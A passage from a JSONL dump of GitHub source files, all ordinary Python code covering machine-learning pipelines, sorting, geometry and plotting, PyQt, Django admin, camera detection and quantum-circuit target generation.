self.ada_pipe = None\n self.svm_pipe = None\n\n def predict(self, df):\n df_format = pd.DataFrame(columns=self.df.columns)\n df_to_predict = df_format.append(df)\n\n df_to_predict.fillna(0, inplace=True)\n X = df_to_predict.drop('Attrition_Flag', axis=1).to_numpy()\n\n return self.rf_pipe.predict(X)\n\n def trainModel(self, df):\n self.df = df.copy()\n X_train, X_test, y_train, y_test = self.prepareDatasets()\n self.rf_pipe = Pipeline(steps=[('scale', StandardScaler()), (\"RF\", RandomForestClassifier(random_state=42))])\n self.rf_pipe.fit(X_train, y_train)\n\n self.ada_pipe = Pipeline(\n steps=[('scale', StandardScaler()), (\"ADA\", AdaBoostClassifier(random_state=42, learning_rate=0.7))])\n self.ada_pipe.fit(X_train, y_train)\n\n # Pipeline of Support Vector Machine using radial basis function kernel\n self.svm_pipe = Pipeline(steps=[('scale', StandardScaler()), (\"SVM\", SVC(random_state=42, kernel='rbf'))])\n self.svm_pipe.fit(X_train, y_train)\n\n f1_cross_val_scores = cross_val_score(self.rf_pipe, X_train, y_train, cv=5, scoring='f1')\n ada_val_scores = cross_val_score(self.ada_pipe, X_train, y_train, cv=5, scoring='f1')\n svm_val_scores = cross_val_score(self.svm_pipe, X_train, y_train, cv=5, scoring='f1')\n print(f\"\"\"##### Random Forest Score ########\n Cross Validation: {f1_cross_val_scores}\n Score train: {self.rf_pipe.score(X_train, y_train)}\n Score test: {self.rf_pipe.score(X_test, y_test)}\"\"\")\n print(f\"\"\"##### ADA Boost Score ########\n Cross Validation: {ada_val_scores}\n Score train: {self.ada_pipe.score(X_train, y_train)}\n Score test: {self.ada_pipe.score(X_test, y_test)}\"\"\")\n print(f\"\"\"##### SVM Score ########\n Cross Validation: {svm_val_scores}\n Score train: {self.svm_pipe.score(X_train, y_train)}\n Score test: {self.svm_pipe.score(X_test, y_test)}\"\"\")\n\n joblib.dump(self, 'utils/model/model.pkl')\n\n def prepareDatasets(self):\n # Splitting the dataset into train and test\n X = self.df.drop('Attrition_Flag', axis=1).to_numpy()\n y = self.df['Attrition_Flag'].to_numpy()\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, stratify=y, random_state=42)\n\n # The percentage of churn samples is 16.07%\n # So let's upsample it\n print('Percentage of churn samples: ', y_train.sum() * 100 / y_train.shape[0])\n oversample = SMOTE()\n X_train, y_train = oversample.fit_resample(X_train, y_train)\n\n # Checking the percentage again\n print('Percentage of churn samples (upsampled): ', y_train.sum() * 100 / y_train.shape[0])\n # Now we got 50%\n\n return X_train, X_test, y_train, y_test\n","repo_name":"jejobueno/Churn-prediction","sub_path":"app/utils/Predictor.py","file_name":"Predictor.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"32527756085","text":"#快速排序\n\ndef quickSort(tup,_left,_right):\n\t\n\tleft = _left\n\tright = _right\n\ttem = 0\n\tif left <= right:\n\t\ttem = tup[left]\n\n\t\twhile left != right:\n\t\t\t#从右向左找到比tem小的数\n\t\t\twhile right > left and tup[right] >= tem:\n\t\t\t\tright -= 1\n\t\t\t#将此数赋值给left位置\n\t\t\ttup[left] = tup[right]\n\t\t\t\n\t\t\t#从左向右找到比tem大的数\n\t\t\twhile right > left and tup[left] <= tem:\n\t\t\t \tleft += 1\n\t\t\t#将此数赋值给right位置\n\t\t\ttup[right] = tup[left]\n\t\t#left和right位置重合\n\t\ttup[right] = tem\n\t\t#递归调用\n\t\tquickSort(tup, _left, left - 1)\n\t\tquickSort(tup, right + 1, _right)\n\treturn tup\n\ntup = [5,2,45,6,8,2,1]\n\n\nprint(quickSort(tup,0,len(tup)-1))","repo_name":"longlongjiujia/pythonofsort","sub_path":"QuickSort.py","file_name":"QuickSort.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"73683441176","text":"from math import sin, cos, atan2, sqrt, pi\n\n\ndef distance(a, b):\n # Returns the distance between two cartesian points.\n x = (b[0] - a[0]) ** 2\n y = (b[1] - a[1]) ** 2\n z = (b[2] - a[2]) ** 2\n return (x + y + z) ** 0.5\n\n\ndef magnitude(x, y, z):\n # Returns the magnitude of the vector.\n return sqrt(x * x + y * y + z * z)\n\n\ndef to_spherical(x, y, z):\n # Converts a cartesian coordinate (x, y, z) into a spherical one (radius, theta, phi).\n radius = magnitude(x, y, z)\n if z > 0:\n theta = atan2(sqrt(x * x + y * y), z)\n elif z < 0:\n theta = pi + atan2(sqrt(x * x + y * y), z)\n elif z == 0 and x*y != 0:\n theta = pi / 2\n else:\n theta = 0\n \n if x > 0:\n phi = atan2(y, x)\n elif x < 0 and y >= 0:\n phi = pi + atan2(y, x)\n elif x < 0 and y < 0:\n phi = -pi + atan2(y, x)\n elif x == 0 and y > 0:\n phi = pi / 2\n elif x == 0 and y < 0:\n phi = -pi / 2\n else:\n phi = 0\n return radius, theta, phi\n\n\ndef to_cartesian(radius, theta, phi):\n # Converts a spherical coordinate (radius, theta, phi) into a cartesian one (x, y, z).\n x = radius * cos(phi) * sin(theta)\n y = radius * sin(phi) * sin(theta)\n z = radius * cos(theta)\n return x, y, z\n\n\ndef shift_origin(x, y, z, origin):\n # Shifts the origin of a cartesian coordinate (x, y, z) to a new origin.\n return x - origin[0], y - origin[1], z - origin[2]","repo_name":"augmentedfabricationlab/add_on_am","sub_path":"src/add_on_am/cart_sphe.py","file_name":"cart_sphe.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"26552703950","text":"from google.cloud.aiplatform import jobs\nfrom google.cloud.aiplatform import tensorboard\n\n\ndef custom_job_console_uri(custom_job_resource_name: str) -> str:\n \"\"\"Helper method to create console uri from custom job resource name.\"\"\"\n fields = jobs.CustomJob._parse_resource_name(custom_job_resource_name)\n return f\"https://console.cloud.google.com/ai/platform/locations/{fields['location']}/training/{fields['custom_job']}?project={fields['project']}\"\n\n\ndef custom_job_tensorboard_console_uri(\n tensorboard_resource_name: str, custom_job_resource_name: str\n) -> str:\n \"\"\"Helper method to create console uri to tensorboard from custom job resource.\"\"\"\n # projects+40556267596+locations+us-central1+tensorboards+740208820004847616+experiments+2214368039829241856\n fields = tensorboard.Tensorboard._parse_resource_name(tensorboard_resource_name)\n experiment_resource_name = f\"{tensorboard_resource_name}/experiments/{custom_job_resource_name.split('/')[-1]}\"\n uri_experiment_resource_name = experiment_resource_name.replace(\"/\", \"+\")\n return f\"https://{fields['location']}.tensorboard.googleusercontent.com/experiment/{uri_experiment_resource_name}\"\n","repo_name":"googleapis/python-aiplatform","sub_path":"google/cloud/aiplatform/utils/console_utils.py","file_name":"console_utils.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":433,"dataset":"github-code","pt":"68"} +{"seq_id":"71621623576","text":"import random\n\nimport sys\nfrom PyQt5 import uic\nfrom PyQt5.QtWidgets import QWidget, QApplication\nfrom PyQt5.QtGui import QPainter, QColor\n\n\nclass Smaile(QWidget):\n def __init__(self):\n super().__init__()\n self.do_paint = False\n self.initUI()\n\n def initUI(self):\n self.setGeometry(400, 400, 500, 400)\n self.setWindowTitle('Квадрат-объектив 1')\n\n uic.loadUi('UI.ui', self)\n\n self.btn_paint.clicked.connect(self.paint)\n\n def paintEvent(self, event):\n if self.do_paint:\n qp = QPainter()\n qp.begin(self)\n self.Round(qp)\n qp.end()\n\n def paint(self):\n self.do_paint = True\n self.repaint()\n\n def Round(self, qp):\n for i in range(random.randint(1, 15)):\n qp.setBrush(QColor(212, 212, 0))\n size = random.randint(50, 150)\n qp.drawEllipse(random.randint(1, 600), random.randint(1, 600), size,\n size)\n\n\ndef except_hook(cls, exception, traceback):\n sys.__excepthook__(cls, exception, traceback)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = Smaile()\n ex.show()\n sys.excepthook = except_hook\n sys.exit(app.exec_())\n","repo_name":"AmirHai/Kazan-AmirHai","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"42408731340","text":"import configparser\nfrom simulation import time\nfrom model import place_characteristics\n\ndef parseTimeList(listasstring) -> [int]:\n tmplist = listasstring.split(',')\n return [int(x)*time.HOUR for x in tmplist]\n\ndef readPlace(config) -> place_characteristics.PlaceCharacteristics:\n placeType = place_characteristics.PlaceType[config['type']]\n openDays = [int(x) for x in config['openDays'].split(',')]\n openHours = parseTimeList(config['openHours'])\n subType = place_characteristics.SubType[config['subType']]\n frequency = int(config['frequency'])\n contactFrequency = float(config['contactFrequency']) / time.HOUR\n contactDistance = float(config['contactDistance'])\n return place_characteristics.PlaceCharacteristics(placeType,\n openDays,\n openHours,\n subType,\n frequency,\n contactFrequency,\n contactDistance)\n\ndef readAllPlaceChars(configFile) -> [place_characteristics.PlaceCharacteristics]:\n config = configparser.ConfigParser()\n config.read(configFile)\n\n return [readPlace(config[placeName]) for placeName in config if placeName != \"DEFAULT\"]\n","repo_name":"KMattis/COVID19Sim","sub_path":"generation/place_parser.py","file_name":"place_parser.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"24708383461","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Aug 12 13:42:08 2016\r\n\r\nCode to run Hongbos list of processed files based on on Cristina's verified groud truth list:\r\n Z:\\\\Breast\\\\gtSeg_verified\\\\CADlesions_wSeries.csv'\r\n\r\nInput files:\r\n - listofprobmaps.txt (619 cases ~ 50/50 lesion/normals)\r\n - list of mhas of lesion probability maps in Y:\\\\Hongbo\\\\segmentations_train\r\n - to discover in Y:\\\\Hongbo\\\\processed_data:\r\n - mc Left/Right according to listofprobmaps.txt syntax: 1_0002_6745896_right_2_1_NS_NF_probmap.mha\r\n - listofprobmaps_test.txt (450 cases ~ 33/66 lesion/normals)\r\n - list of mhas of lesion probability maps in Y:\\\\Hongbo\\\\segmentations_test\r\n - to discover in Y:\\\\Hongbo\\\\processed_data:\r\n - mc Left/Right according to listofprobmaps.txt syntax: 1_0002_6745896_right_2_1_NS_NF_probmap.mha\r\n\r\nInfo about lesions:\r\n - currently in database textureUpdatedFeatures.db segmentation.lesion_centroid_ijk will have centroid [ijk] coords\r\n - centroid [ijk] coords and gt mask Y:\\Hongbo\\gt_data are in bilateral coords, need to split in halfs Left/Right round(half)/rest\r\n - db segmentation.segm_xmin/max .segm_ymin/max .segm_zmin/max spans # pixels of lesion in each dim (lesion size)\r\n \r\nSize considerations:\r\n - breast pixels inside probmap ~ 3/4 of entire volume. So total of:\r\n 512*512*44*0.75 = 8million pixels/Volume \r\n 512*512*0.75 = 200K pixels/slice\r\n\r\n@author: DeepLearning\r\n\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom scipy.spatial import Delaunay\r\n\r\npoints = np.random.rand(30, 2)\r\ntri = Delaunay(points)\r\n\r\np = tri.points[tri.vertices]\r\n\r\n# Triangle vertices\r\nA = p[:,0,:].T\r\nB = p[:,1,:].T\r\nC = p[:,2,:].T\r\n\r\n# See http://en.wikipedia.org/wiki/Circumscribed_circle#Circumscribed_circles_of_triangles\r\n# The following is just a direct transcription of the formula there\r\na = A - C\r\nb = B - C\r\n\r\ndef dot2(u, v):\r\n return u[0]*v[0] + u[1]*v[1]\r\n\r\ndef cross2(u, v, w):\r\n \"\"\"u x (v x w)\"\"\"\r\n return dot2(u, w)*v - dot2(u, v)*w\r\n\r\ndef ncross2(u, v):\r\n \"\"\"|| u x v ||^2\"\"\"\r\n return sq2(u)*sq2(v) - dot2(u, v)**2\r\n\r\ndef sq2(u):\r\n return dot2(u, u)\r\n\r\ncc = cross2(sq2(a) * b - sq2(b) * a, a, b) / (2*ncross2(a, b)) + C\r\n\r\n# Grab the Voronoi edges\r\nvc = cc[:,tri.neighbors]\r\nvc[:,tri.neighbors == -1] = np.nan # edges at infinity, plotting those would need more work...\r\n\r\nlines = []\r\nlines.extend(zip(cc.T, vc[:,:,0].T))\r\nlines.extend(zip(cc.T, vc[:,:,1].T))\r\nlines.extend(zip(cc.T, vc[:,:,2].T))\r\n\r\n# Plot itfrom scipy.spatial import Delaunay\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.collections import LineCollection\r\n\r\nlines = LineCollection(lines, edgecolor='k')\r\n\r\nplt.hold(1)\r\nplt.plot(points[:,0], points[:,1], '.')\r\nplt.plot(cc[0], cc[1], '*')\r\nplt.gca().add_collection(lines)\r\nplt.axis('equal')\r\nplt.xlim(-0.1, 1.1)\r\nplt.ylim(-0.1, 1.1)\r\nplt.show()\r\n\r\n\r\n\r\n#!/usr/bin/env python\r\nimport numpy as np\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.spatial import Delaunay\r\n\r\ndef voronoi(P):\r\n delauny = Delaunay(P)\r\n triangles = delauny.points[delauny.vertices]\r\n\r\n lines = []\r\n\r\n # Triangle vertices\r\n A = triangles[:, 0]\r\n B = triangles[:, 1]\r\n C = triangles[:, 2]\r\n lines.extend(zip(A, B))\r\n lines.extend(zip(B, C))\r\n lines.extend(zip(C, A))\r\n\r\n circum_centers = np.array([triangle_csc(tri) for tri in triangles])\r\n\r\n segments = []\r\n for i, triangle in enumerate(triangles):\r\n circum_center = circum_centers[i]\r\n for j, neighbor in enumerate(delauny.neighbors[i]):\r\n if neighbor != -1:\r\n segments.append((circum_center, circum_centers[neighbor]))\r\n else:\r\n ps = triangle[(j+1)%3] - triangle[(j-1)%3]\r\n ps = np.array((ps[1], -ps[0]))\r\n\r\n middle = (triangle[(j+1)%3] + triangle[(j-1)%3]) * 0.5\r\n di = middle - triangle[j]\r\n\r\n ps /= np.linalg.norm(ps)\r\n di /= np.linalg.norm(di)\r\n\r\n if np.dot(di, ps) < 0.0:\r\n ps *= -1000.0\r\n else:\r\n ps *= 1000.0\r\n segments.append((circum_center, circum_center + ps))\r\n return segments\r\n\r\ndef triangle_csc(pts):\r\n rows, cols = pts.shape\r\n\r\n A = np.bmat([[2 * np.dot(pts, pts.T), np.ones((rows, 1))],\r\n [np.ones((1, rows)), np.zeros((1, 1))]])\r\n\r\n b = np.hstack((np.sum(pts * pts, axis=1), np.ones((1))))\r\n x = np.linalg.solve(A,b)\r\n bary_coords = x[:-1]\r\n return np.sum(pts * np.tile(bary_coords.reshape((pts.shape[0], 1)), (1, pts.shape[1])), axis=0)\r\n\r\nif __name__ == '__main__':\r\n \r\n ####################\r\n #### to generate delaunay triangulation of a set of point locations\r\n ####################\r\n P = np.random.random((300,2))\r\n\r\n X,Y = P[:,0],P[:,1]\r\n\r\n fig = plt.figure(figsize=(4.5,4.5))\r\n axes = plt.subplot(1,1,1)\r\n plt.scatter(X, Y, marker='.')\r\n plt.axis([-0.05,1.05,-0.05,1.05])\r\n \r\n delauny = Delaunay(P)\r\n triangles = delauny.points[delauny.vertices]\r\n\r\n lines = []\r\n\r\n # Triangle vertices\r\n A = triangles[:, 0]\r\n B = triangles[:, 1]\r\n C = triangles[:, 2]\r\n lines.extend(zip(A, B))\r\n lines.extend(zip(B, C))\r\n lines.extend(zip(C, A))\r\n lines = matplotlib.collections.LineCollection(lines, color='r')\r\n plt.gca().add_collection(lines)\r\n \r\n ####################\r\n\r\n \r\n #### to do voronoi \r\n segments = voronoi(P)\r\n lines = matplotlib.collections.LineCollection(segments, color='k')\r\n axes.add_collection(lines)\r\n plt.axis([-0.05,1.05,-0.05,1.05])\r\n plt.show()","repo_name":"cgallego/breast_MR_pipeline","sub_path":"delaunay_triang.py","file_name":"delaunay_triang.py","file_ext":"py","file_size_in_byte":5604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"33581714302","text":"#Jameson Thies\n#EEC 266\n#Fall 2018\n\n#includes\nimport random\nimport math\nimport dct_lib\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n#signal parameters\nM = 512\nT = 0.064\nFs = 16000\na1 = 1\nf1 = 310*(2*math.pi)\na2 = 0.6\nf2 = 540*(2*math.pi)\nnoise = 0.05\n\n#creating signal\nseed = 1\nrandom.seed(seed)\noriginal_x = ([x/Fs for x in range(round(T*Fs))])\noriginal_data = [a1*math.sin(f1*x)+a2*math.sin(f2*x)+random.gauss(0,noise) for x in original_x]\nprint('Data Creation Complete.')\n\n#computing dct\ndct_data = dct_lib.dct(original_data)\nprint('DCT Complete.')\n\n#displaying l1 norms of original data and DCT of the data\nprint('l1 norm of original data: ', sum([abs(x) for x in original_data]))\nprint('l1 norm of dct(data): ', sum([abs(x) for x in dct_data]))\n\n#ploting original signal\nplt.subplot(2,1,1)\nplt.title(\"Original Data\")\noriginal_data_plot = plt.plot(range(len(original_data)), original_data)\nplt.xlim(0, 1023)\nplt.setp(original_data_plot, linewidth=0.9)\n\n#plotting dct of original signal\nplt.subplot(2,1,2)\nplt.title(\"DCT of Original Data\")\ndct_data_plot = plt.stem(range(len(dct_data)), dct_data, markerfmt='C0.', basefmt=\"C0-\")\nplt.setp(dct_data_plot, linewidth=1)\nplt.ylim(-11.5, 19)\nplt.xlim(0, 1023)\n#plt.setp(dct_data_plot,)\nplt.show()\n","repo_name":"jamesonthies/Compressed-Sensing-Example","sub_path":"make_fig1.py","file_name":"make_fig1.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"27250705201","text":"import os\nimport sys\nimport argparse\nif __name__==\"__main__\":\n os.chdir(os.path.join(\".\",os.path.split(sys.argv[0])[0]))\n sys.path.append(\".\") # set current folder to the file location and add it to the search path\n parser=argparse.ArgumentParser(description=\"Camera autodetection\")\n parser.add_argument(\"--silent\",\"-s\",help=\"silent execution\",action=\"store_true\")\n parser.add_argument(\"--yes\",\"-y\",help=\"automatically confirm settings file overwrite\",action=\"store_true\")\n parser.add_argument(\"--show-errors\",help=\"show errors raised on camera detection\",action=\"store_true\")\n parser.add_argument(\"--wait\",help=\"show waiting message for 3 seconds in the end\",action=\"store_true\")\n parser.add_argument(\"--config-file\",\"-cf\", help=\"configuration file path\",metavar=\"FILE\",default=\"settings.cfg\")\n args=parser.parse_args()\n if not args.silent:\n print(\"Detecting cameras...\\n\")\n\nfrom pylablib.core.utils import dictionary, general as general_utils\nfrom pylablib.core.fileio.loadfile import load_dict\nfrom pylablib.core.fileio.savefile import save_dict\nimport pylablib\n\nimport time\nimport threading\nimport datetime\n\nfrom utils.cameras import camera_descriptors\n\n### Redirecting console / errors to file logs ###\nlog_lock=threading.Lock()\nclass StreamLogger(general_utils.StreamFileLogger):\n def __init__(self, path, stream=None):\n general_utils.StreamFileLogger.__init__(self,path,stream=stream,lock=log_lock)\n self.start_time=datetime.datetime.now()\n def write_header(self, f):\n f.write(\"\\n\\n\"+\"-\"*50)\n f.write(\"\\nStarting {} {:on %Y/%m/%d at %H:%M:%S}\\n\\n\".format(os.path.split(sys.argv[0])[1],self.start_time))\nsys.stderr=StreamLogger(\"logerr.txt\",sys.stderr)\nsys.stdout=StreamLogger(\"logout.txt\",sys.stdout)\n\n\ndef detect_all(verbose=False):\n cams=dictionary.Dictionary()\n root_descriptors=[d for d in camera_descriptors.values() if d._expands is None]\n for c in root_descriptors:\n cams.update(c.detect(verbose=verbose,camera_descriptors=list(camera_descriptors.values())) or {})\n if cams:\n for c in cams:\n if \"display_name\" not in cams[c]:\n cams[c,\"display_name\"]=c\n return dictionary.Dictionary({\"cameras\":cams})\n\n\ndef update_settings_file(cfg_path=\"settings.cfg\", verbose=False, confirm=False, wait=False):\n settings=detect_all(verbose=verbose)\n if not settings:\n if verbose: print(\"Couldn't detect any supported cameras\")\n else:\n do_save=True\n if os.path.exists(cfg_path):\n ans=input(\"Configuration file already exists. Modify? [y/N] \").strip() if confirm else \"y\"\n if ans.lower()!=\"y\":\n do_save=False\n else:\n curr_settings=load_dict(cfg_path)\n if \"cameras\" in curr_settings:\n del curr_settings[\"cameras\"]\n curr_settings[\"cameras\"]=settings[\"cameras\"]\n settings=curr_settings\n if do_save:\n save_dict(settings,cfg_path)\n if verbose: print(\"Successfully generated config file {}\".format(cfg_path))\n else:\n return\n if confirm and not do_save:\n input()\n elif wait:\n time.sleep(3.)\n\nif __name__==\"__main__\":\n if os.path.exists(args.config_file):\n settings=load_dict(args.config_file)\n if \"dlls\" in settings:\n for k,v in settings[\"dlls\"].items():\n pylablib.par[\"devices/dlls\",k]=v\n if args.silent:\n verbose=False\n else:\n verbose=\"full\" if args.show_errors else True\n update_settings_file(cfg_path=args.config_file,verbose=verbose,confirm=not (args.silent or args.yes),wait=args.wait)","repo_name":"AlexShkarin/pyLabLib-cam-control","sub_path":"detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"68"} +{"seq_id":"40726085229","text":"from datetime import date\nfrom calendar import monthcalendar\n\n\ndef meetup_day(year, month, day, nth):\n\t# creates list with each entry being a week of the month\n\tdays_and_weeks = monthcalendar(year,month)\n\t\n\tnth = nth.lower().strip()\n\tif nth in \"1st\":\n\t\tmod = 0\n\telif nth in \"2nd\":\n\t\tmod = 1\n\telif nth in \"3rd\":\n\t\tmod = 2\n\telif nth in \"4th\":\n\t mod = 3\n\telif nth in \"last\":\n\t\tmod = 4\n\telse:\n\t\tmod = 13 #-teenth\n\t\t\n\tday = day.lower().strip()\n\t\n\tif day in \"monday\":\n\t\tday_num = 0\n\telif day in \"tuesday\":\n\t\tday_num = 1\n\telif day in \"wednesday\":\n\t\tday_num = 2\n\telif day in \"thursday\":\n\t\tday_num = 3\n\telif day in \"friday\":\n\t\tday_num = 4\n\telif day in \"saturday\":\n\t\tday_num = 5\n\telse:\n\t\tday_num = 6 #sunday\n\t\t\n\n\tdays = [x[day_num] for x in days_and_weeks if x[day_num] != 0] #list of dates of all days of week requested\n\tif mod == 13:\n\t\tfor day_date in days:\n\t\t\tif day_date <= 19 and day_date >= 13:\n\t\t\t\tcomposed_day = day_date\n\t\n\telif mod == 4:\n\t\tcomposed_day = days[-1]\n\telse:\n\t\tcomposed_day = days[mod]\n\n\n\treturn date(year, month, composed_day)\n","repo_name":"itsolutionscorp/AutoStyle-Clustering","sub_path":"all_data/exercism_data/python/meetup/c962a777f35547eab945306bfd38902c.py","file_name":"c962a777f35547eab945306bfd38902c.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"} +{"seq_id":"73649706135","text":"WIDTH = 768\r\nHEIGHT = 896\r\nSCOREBOARD_WIDTH = 300\r\n\r\nMARGIN_LEFT = 64\r\nMARGIN_TOP = 32\r\nMARGIN_BOTTOM = 32\r\nMARGIN_BOTTOM_TOP = MARGIN_TOP + HEIGHT\r\n\r\nSCOREBOARD_LEFT = MARGIN_LEFT + WIDTH\r\nSCOREBOARD_WIDTH = 448\r\n\r\nWINDOW_WIDTH = SCOREBOARD_LEFT + SCOREBOARD_WIDTH\r\nWINDOW_HEIGHT = MARGIN_BOTTOM_TOP + MARGIN_BOTTOM\r\n\r\nGAME_RECT = (MARGIN_LEFT, MARGIN_TOP, WIDTH, HEIGHT)\r\n\r\nFPS = 60\r\n\r\nLIFE_INIT = 2\r\n\r\nTIME_SCORE = 1\r\nHIT_SCORE = 5\r\n","repo_name":"lvlingxiao1/danmaku","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"42277037132","text":"import joblib\r\nimport random\r\nimport pandas as pd\r\nimport joblib\r\nfrom sklearn.metrics import accuracy_score, precision_score, f1_score, roc_auc_score, roc_curve\r\n\r\ndef realizar_prediccion(ruta_archivo):\r\n dataset9 = pd.read_csv(ruta_archivo)\r\n modelo = joblib.load('Random_Forest_5_Actividades.pkl')\r\n\r\n # Escoge un índice aleatorio del conjunto de datos\r\n indice_aleatorio = random.randint(0, len(dataset9) - 1)\r\n\r\n # Obtén la fila correspondiente al índice aleatorio\r\n fila_aleatoria = dataset9.iloc[indice_aleatorio, :]\r\n\r\n # Extrae las características de la fila\r\n X_fila_aleatoria = fila_aleatoria.drop(\"Activity\")\r\n y_fila_aleatoria = fila_aleatoria[\"Activity\"]\r\n\r\n # Realiza la predicción para esta fila\r\n prediccion_fila_aleatoria = modelo.predict([X_fila_aleatoria])[0]\r\n\r\n return (prediccion_fila_aleatoria, y_fila_aleatoria)\r\n\r\nif __name__ == '__main__':\r\n # Coloca la ruta del archivo generado en app.py aquí\r\n resultado = realizar_prediccion('data/ruta_del_archivo_generado_en_app_py.csv')\r\n print(f\"Predicción para la fila aleatoria: {resultado[0]}\")\r\n print(f\"Actividad original: {resultado[1]}\")\r\n","repo_name":"japabon216/Trabajo_de_grado_SM_Para_Clasificacion_ADL_Algoritmos_SL","sub_path":"Sistema_Movil_Jaida/proyecto_jaida/modelo.py","file_name":"modelo.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"31620271142","text":"from django.contrib import admin\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.admin import UserAdmin\n\nfrom .forms import FoxhoundUserCreationForm, FoxhoundUserChangeForm\nfrom .models import FoxhoundUser\n\n\nclass FoxhoundUserAdmin(UserAdmin):\n add_form = FoxhoundUserCreationForm\n form = FoxhoundUserChangeForm\n model = FoxhoundUser\n list_display = ['id', 'email', 'username', 'tenant']\n fieldsets = (\n (None, {\n 'classes': ('wide',),\n 'fields': (\n 'username', 'email', 'first_name',\n 'last_name', 'is_superuser', 'tenant'\n )\n }\n ),\n )\n\n\nadmin.site.register(FoxhoundUser, FoxhoundUserAdmin)\n","repo_name":"kaushu42/foxhound-security-solution","sub_path":"backend/users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"32393482118","text":"from time import perf_counter\nfrom typing import List\nimport numpy as np\nfrom scipy.stats import unitary_group\nfrom scipy.linalg import expm as matrix_exp\nfrom qiskit import QuantumCircuit\nfrom qiskit.quantum_info import Operator\nfrom qiskit.circuit.library import QFT\nfrom aqc_research.parametric_circuit import ParametricCircuit\nimport aqc_research.utils as utl\nimport aqc_research.core_operations as cop\nimport aqc_research.checking as chk\n\n_logger = utl.create_logger(__file__)\n\n# -----------------------------------------------------------------------------\n# Target state generators.\n# -----------------------------------------------------------------------------\n\n\ndef available_target_state_types() -> List[str]:\n \"\"\"\n Returns:\n a list of supported target state types.\n \"\"\"\n return [\"parametric\", \"bare\", \"random\"]\n\n\ndef make_target_state(target_name: str, num_qubits: int) -> np.ndarray:\n \"\"\"\n Generates and returns a target state vector.\n\n Args:\n target_name: string that defines the type of target to be generated.\n num_qubits: number of qubits.\n\n Returns:\n generated target state.\n \"\"\"\n tic = perf_counter()\n msg = \"generates target state from\"\n\n if target_name == \"parametric\":\n _logger.info(\"%s random ansatz with random angular parameters\", msg)\n circ = ParametricCircuit(\n num_qubits=num_qubits,\n entangler=\"cx\",\n blocks=utl.rand_circuit(\n num_qubits, np.random.randint(2 * num_qubits, 4 * num_qubits + 1)\n ),\n )\n thetas = utl.rand_thetas(circ.num_thetas) # random\n target = target_state_from_circuit(circ, thetas)\n\n elif target_name == \"bare\":\n _logger.info(\"%s random circuit with CNOT gates only\", msg)\n circ = ParametricCircuit(\n num_qubits=num_qubits,\n entangler=\"cx\",\n blocks=utl.rand_circuit(\n num_qubits, np.random.randint(2 * num_qubits, 4 * num_qubits + 1)\n ),\n )\n thetas = np.zeros(circ.num_thetas) # zeros, i.e. no 1-qubit rotations\n target = target_state_from_circuit(circ, thetas)\n\n elif target_name == \"random\":\n _logger.info(\"%s a random vector\", msg)\n target = utl.rand_state(num_qubits)\n target /= np.linalg.norm(target) # normalize\n\n else:\n raise ValueError(\n f\"unsupported target type, expects one of: \"\n f\"{available_target_state_types()}, got {target_name}\",\n )\n\n toc = perf_counter()\n _logger.info(\"target state has been prepared in %0.2f secs\", toc - tic)\n return target\n\n\ndef target_state_from_circuit(circ: ParametricCircuit, thetas: np.ndarray) -> np.ndarray:\n \"\"\"\n Creates a target state by applying parametric circuit to vector |0>.\n\n Args:\n circ: instance of parametric ansatz.\n thetas: angular parameters of the parametric circuit.\n\n Returns:\n generated target.\n \"\"\"\n ini_state = utl.zero_state(circ.num_qubits) # |0>\n target = np.zeros_like(ini_state)\n workspace = np.zeros((2, circ.dimension), dtype=np.cfloat)\n cop.v_mul_vec(circ=circ, thetas=thetas, vec=ini_state, out=target, workspace=workspace)\n\n # Should be normalized.\n norm_target = np.linalg.norm(target)\n tol = 3 * float(np.sqrt(np.finfo(np.float64).eps))\n assert np.isclose(norm_target, 1, rtol=tol, atol=tol)\n\n # Report the overlap between initial (|0>) and target states.\n numer = np.abs(np.vdot(ini_state, target))\n denom = np.linalg.norm(ini_state) * norm_target\n overlap = numer / max(denom, np.finfo(float).eps)\n _logger.info(\"initial vs target vector overlap: %0.3f\", overlap)\n if overlap > 0.9:\n _logger.warning(\"target state is too close to |0>\")\n\n return target\n\n\n# -----------------------------------------------------------------------------\n# Target unitary matrix generators.\n# -----------------------------------------------------------------------------\n\n\ndef available_target_matrix_types() -> List[str]:\n \"\"\"\n Returns:\n a list of supported target types.\n \"\"\"\n return [\n 